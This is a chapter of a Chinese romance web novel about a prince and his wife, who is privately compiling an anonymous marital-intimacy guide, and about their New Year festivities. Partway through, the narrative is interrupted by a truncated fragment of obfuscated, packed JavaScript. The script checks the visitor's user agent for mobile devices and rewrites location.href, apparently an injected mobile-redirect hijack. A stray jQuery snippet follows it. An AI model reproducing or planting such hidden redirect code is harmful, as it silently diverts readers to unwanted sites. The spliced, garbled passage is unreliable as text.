224. 漫长的冬天
作品:《夜窗如昼》 林香艾眨了眨眼睛,“言奕,你生气了吗?”
“我们是王爷和福晋,不应该做这样的事,百姓知道了,会笑话我们的。”金言奕皱着眉头说道。
“那就不让他们知道,我们不说这书是我们写的,谁能知道?”林香艾说道。
“若要人不知,除非己莫为,万一有人说出去,我们俩的脸面就荡然无存了。”金言奕说道。
“就算有人说出去,那也只是流言而已,只要你我不承认,谁能说这就一定是我们写的?”林香艾说道。
金言奕抿了抿嘴唇,还是跨不过去心里那道坎,“我们在床上的事,我不想让别人知道。”
林香艾轻轻一笑,抬手轻抚着金言奕的脸,“我写的是做为一个人的感受,一个男人和一个女人在这件事上感受有何不同,应该如何去做,并不是为了把我们的私密事宣扬出去。”
“可从结果上来看,就是把我们的私密事宣扬出去了。”金言奕说道。
“我不会指名道姓,别人也不会知道我写的是谁,你可以当我是在写一对陌生的男女。”林香艾微笑着说道。
“不,我做不到。”金言奕低头亲吻着林香艾的嘴唇,“你是我的妻子,能知道这种私密事的,只有我。”
林香艾轻轻回应着金言奕的吻,双手抚摸着他的后背,等他渐渐冷静下来。
“言奕…这种事说来私密,却也是每一对结婚生子的夫妻必须要经历的,我写的不只是我,是每一个女人。”林香艾轻轻拨开金言奕的发丝,坦诚地看着他的眼睛,“别忘了我们最初的目的。”
“我也愿意帮助单妒,你把这些告诉她,我可以接受,甚至你告诉其他女人也可以,但是你要写给男人看,我就觉得不舒服。”金言奕说道。
“我倒觉得,我们应该让更多的男人看到,你不也说这些知识对男人很重要吗?”林香艾说道。
金言奕皱着眉头,沉默不语。
“这几天我们尝试去做的时候,我才真正理解了单妒,怪不得她会这么害怕跟男人亲近,同房这件事很需要男女之间的配合,男人要是粗暴一些,女人就会受伤,尤其是什么都不懂的男人,他们不知道该怎么让女人放松,怎么让女人舒服,他们一味地横冲直撞,女人在这件事上得到的,就只有疼痛和不适。”林香艾说道。
金言奕想到两人艰难的尝试过程,对林香艾的话也有了些理解,但他还是觉得不能接受,“就算是男人和女人都需要这种书,也不是一定非要你去做啊。”
“可以是别人,为什么就不能是我?”林香艾问道。
“你是身份尊贵的公主,是福晋,我不希望别人因为这件事笑话你。”金言奕说道。
林香艾摇了摇头,“我只是一个女人,一个大夫,只要我做得的事能帮到别人,我就不怕别人笑话。”
金言奕叹了口气,“有时候,我真想叫你不要这么伟大。”
“跟王爷修路相比,这就是一点小事而已,哪里算得上伟大?”林香艾笑着说道。
金言奕无奈地勾了勾嘴角,“如你所说,这是天底下每一对夫妻都用得着的书,还不够伟大吗?不过,我们也得想想办法,不能让人知道这书是你写的。”
“这应该不难,我们看的那几本房中术的书,你知道是谁写的吗?”林香艾轻声问道。
“不知道,那书上写的名字,应该都是假名吧。”金言奕答道。
“你觉得,能有谁知道那书是谁写的?”林香艾又问道。
金言奕想了一下,“除了作者本人,大概就是作者身边的人吧。”
林香艾笑了笑,“只要我们瞒得好,就没有人知道是我写的。”
“那我们也得给你想一个化名,还要找一个信得过的人,去帮你刊印。”金言奕说道。
“相公说得有理,我这就去翻翻书,想个化名。”林香艾说着,就要从床上爬起来。
金言奕还搂着林香艾的腰不肯松手,“夫人别着急,再陪我躺会儿吧。”
“只是躺会儿?”林香艾问道。
“你还想做什么?”金言奕问道。
林香艾翻了个身,把金言奕压在身下,笑着说道:“现在天亮了,能看得很清楚,不如我们再试一次?”
“你啊,真是一点儿也不害臊。”金言奕说着,伸出双臂揽住林香艾的脖子,朝她的嘴唇吻了过去。
经过几番尝试,林香艾和金言奕一起整理了一个小册子,交给了单妒,让他们夫妻二人细细研读,酌情尝试。
没过几天,单妒就和徐士诚一起带着礼物登门道谢,林香艾带着单妒去了暖阁,两人聊了许久,单妒才起身道别。
在单妒那里得到了好结果,林香艾非常开心,又去找了多福、项达、方依依和青萝,在封闭的空间里聊一些私密的事,后来在医馆里,她也总是逮着机会,就询问那些女病人对房事的感受。
虽然林香艾的善名在外,但询问这种事,大家还是觉得很别扭,有一些人觉得她是在诊断病情,问什么就如实答什么,还有一些人觉得害羞,说得遮遮掩掩,更多的人觉得林香艾很奇怪,不再来找她看病。
林香艾见病人们都不愿意跟她聊这个,也就渐渐收敛了,只询问那些跟她关系还不错的病人,趁有空的时候记录下来,回到家进了暖阁里,就一一抄录下来,集结成册。
金言奕也想帮忙,但他实在很难开口跟别人询问这种事,只能帮忙整理,再画一些简易的图画,林香艾很满意,夸他画得简洁易懂,金言奕既觉得羞耻,又有些开心。
为了保密,金言奕不许承影和流光再进暖阁伺候,只偶尔叫他们进去扫扫地、擦擦桌子、换换床单之类,承影和流光觉得他们夫妻恩爱,不想让别人打扰也是有的,有事时伺候,没事时歇息,倒也乐得清闲。
时间一天一天过去,笔记一点点增加,林香艾觉得内容已经差不多了,便取好了化名,准备让苏不苏拿到书坊去刻板印刷,金言奕说年关将近,现在送过去,过年也要停工,不如就等过完年再印,林香艾一想也是,就把书稿先收起来,准备起过年的事。
今年冬天有吴思宇在将军府衙主事,还设立了粥厂,林香艾收容的人比去年少了些,杜萍和曲良夫妻俩非常尽职尽责,除了偶尔请林香艾过去给人看病,其他事都不需要她操心。
林香艾命人在王府大门外搭了棚子,放了桌椅,点了火炉,从腊八到过年,一直免费供应腊八粥,那些家境贫困的居民、赶路的旅人还有出门玩的孩子们,都得到了一份温暖和甜蜜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075930|187569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>今年金言奕没有再请戏班子来,而是请了几个说书的女先生来王府给大家说故事,女先生故事讲得活灵活现,大家听得聚精会神。
打赏了女先生,林香艾派人送了她们回去,门口的棚子拆了,东西也都撤了,大家关上大门,吃了年夜饭,领了赏钱,热热闹闹地过了这个年。
初一起就有不少人登门拜年,林香艾还是照例不让人带礼物进门,大家互相拜年,坐在一起喝喝茶,吃点干果点心,说说话,就回去了。
竹青、单妒和吴思宇都在初一这天来拜年,林香艾收了她们三人的礼物,留她们在王府吃了午饭,吴思宇吃过饭,略坐了坐就回去了,竹青和单妒吃过了晚饭才回。
除了在家招待客人,林香艾和金言奕也带着年礼出门拜年了,先去了将军府,去看了吴思宇、竹青、胡至顺和关苍,又去了单妒家里坐了坐,和他们二人说说话,第二天又去了何家给何小萤和何小蝉拜年。
林香艾和金言奕虽然不在家,但王府里依旧很热闹,附近的孩子们都知道去年王府发点心和压岁钱的事,早早就在门口等着了,多福、项达和方依依她们做了许多点心,放在了门房里,和小鹿、铃铛、青萝一起给孩子们分发点心和红纸包的压岁钱。
孩子们吃着点心,揣着红包,都非常高兴,看到有马车回来了,就高声呼喊着福晋、王爷的,开心地向两人道谢。
林香艾掀开了窗帘,跟孩子们打招呼,在马车停稳后,下车跟他们说了几句话,叮嘱他们早些回家去,不要在外面乱跑,才和金言奕一起走进了垂花门。
初五之后,来王府的客人就变少了,难得林香艾不用去医馆,金言奕一天到晚都粘在她身边,帮她穿衣服,给她梳头,和她一起吃饭,一起看书,一起喝茶,一起打牌,困了就一起睡觉,金言奕觉得幸福极了,真想天天都过年,好叫福晋天天都陪着他。
初九这天下午,林香艾觉得有些无聊,看书也看不进去,金言奕就提议要弹琴给她听,林香艾坐在炕上,闻着淡淡的熏香味,听着呜呜咽咽的琴声,她只觉得头脑模糊,眼皮沉重,抬起胳膊,撑着脑袋,不由得打起盹儿来。
看着林香艾的脑袋一点一点的,金言奕停了手。
“夫人要是困了,就到床上睡吧。”金言奕轻声说道。
“嗯?”林香艾睁开了眼睛,眼神有些迷茫,“弹完了吗?”
“你是不是觉得我弹得不好?”金言奕问道。
“没有啊,我觉得还挺好听的,就是声音有点小,听着听着就开始犯困了,你弹的这曲子,没有唱词吗?要是把词唱出来,我说不定能听懂一点。”林香艾有些抱歉地说道。
金言奕不是第一次弹琴给她听了,知道她欣赏不了这曲子,也只好放弃,“这首曲子就是没有词的,你要是觉得听不懂,改天我就填个词再唱给你听吧。”
“好啊,到时候你也教教我,我们一起唱。”林香艾笑着说道。
金言奕从琴桌后站起身,来到了林香艾身边坐下,握住了她的右手,“你会唱哪支曲子?我可以去找琴谱,学了弹给你听。”
“我会的不多,就只……”林香艾还没说完,就见流光急匆匆跑了进来。
“福晋,王爷,喜妹姐姐回来了!”流光高兴地说道。

